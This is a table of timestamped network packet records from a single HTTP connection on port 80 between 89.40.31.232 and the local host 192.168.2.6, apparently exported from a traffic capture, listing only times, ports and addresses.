Nov 4, 2024 16:52:38.578104019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578109980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578115940 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578126907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578138113 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578216076 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578222036 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578228951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578234911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578239918 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578242064 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578246117 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578252077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578259945 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578325987 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578329086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578335047 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578346014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578351974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578366041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578372002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578377008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578382969 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578388929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578398943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578398943 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578398943 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578407049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578463078 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578486919 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578493118 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578500032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578504086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578511000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578512907 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578517914 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578522921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578530073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578533888 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578547955 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578564882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578572035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578591108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578594923 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578597069 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578608990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578614950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578619003 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578649998 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578658104 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578679085 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578716993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578722000 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578723907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578751087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578757048 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578769922 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578775883 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578838110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578846931 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578850031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578860998 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578864098 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578866959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578892946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578896046 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578898907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578911066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578917027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578922987 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578922987 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578949928 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578984976 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578984976 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.578989983 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.578995943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579004049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579011917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579018116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579050064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579062939 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579062939 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579104900 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579154015 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579159021 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579173088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579179049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579205990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579211950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579217911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579221010 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579224110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579236031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579246998 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579252005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579257965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579269886 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579283953 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579374075 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579396009 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579402924 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579415083 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579420090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579426050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579443932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579449892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579468012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579473019 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579478979 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579483986 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579483986 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579485893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579499006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579509020 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579514027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579519033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579524040 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579530954 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579535961 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579545975 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579615116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579621077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579632044 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579637051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579646111 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579648972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579663038 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579669952 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579680920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579687119 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579693079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579695940 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579730988 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579736948 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579741955 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579741955 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579741955 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579783916 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579783916 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579900980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579907894 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579919100 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579925060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579930067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579940081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579946041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579952955 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579956055 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.579972029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.579987049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580001116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580008030 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580010891 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.580014944 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580025911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580032110 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580039978 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.580080986 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.580081940 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.580091953 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580099106 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580111027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580116034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580121994 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580127954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580140114 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580144882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580152988 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.580179930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580185890 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580197096 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.580197096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580197096 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.580203056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580246925 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.580267906 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580274105 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580286026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580291033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580296993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580296993 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.580302954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.580317974 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.580420017 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.627923965 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.627954006 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.627968073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628021955 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628030062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628066063 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.628106117 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628108025 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.628118992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628251076 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.628319025 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628350973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628357887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628417015 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.628529072 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628652096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628665924 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.628671885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628679037 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628691912 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628698111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628706932 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.628710032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628716946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628730059 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628746986 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.628746986 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.628797054 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628813028 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628819942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628823996 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.628825903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628838062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628844023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628856897 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628863096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628871918 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.628871918 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.628879070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.628966093 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629076958 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629323959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629339933 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629352093 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629414082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629420042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629436970 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629441023 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629443884 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629456997 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629499912 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629499912 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629508972 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629514933 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629523039 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629533052 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629542112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629569054 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629569054 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629602909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629616022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629622936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629628897 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629636049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629643917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629645109 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629658937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629661083 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629746914 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629751921 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629759073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629772902 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629779100 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629785061 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629796982 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629803896 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629812002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629812956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629863977 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629863977 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629900932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629908085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629915953 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629921913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629928112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629933119 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629941940 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629946947 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629952908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629957914 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629965067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629965067 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.629972935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.629990101 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630018950 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630018950 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630121946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630130053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630136013 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630141973 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630147934 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630153894 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630172968 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630178928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630184889 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630189896 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630196095 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630208015 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630213976 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630279064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630285978 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630285978 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630285978 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630291939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630300045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630311966 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630317926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630321980 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630323887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630352974 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630352974 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630393982 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630438089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630444050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630450964 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630462885 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630469084 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630474091 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630480051 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630485058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630491018 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630502939 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630568027 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630568027 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630584002 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630590916 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630601883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630608082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630614042 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630620956 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630625010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630630016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630635977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630641937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630650997 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630654097 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630659103 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630665064 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630671024 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630677938 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630686045 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630728006 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630728006 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:38.630731106 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630738020 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:38.630753994 CET	80	59474	89.40.31.232	192.168.2.6
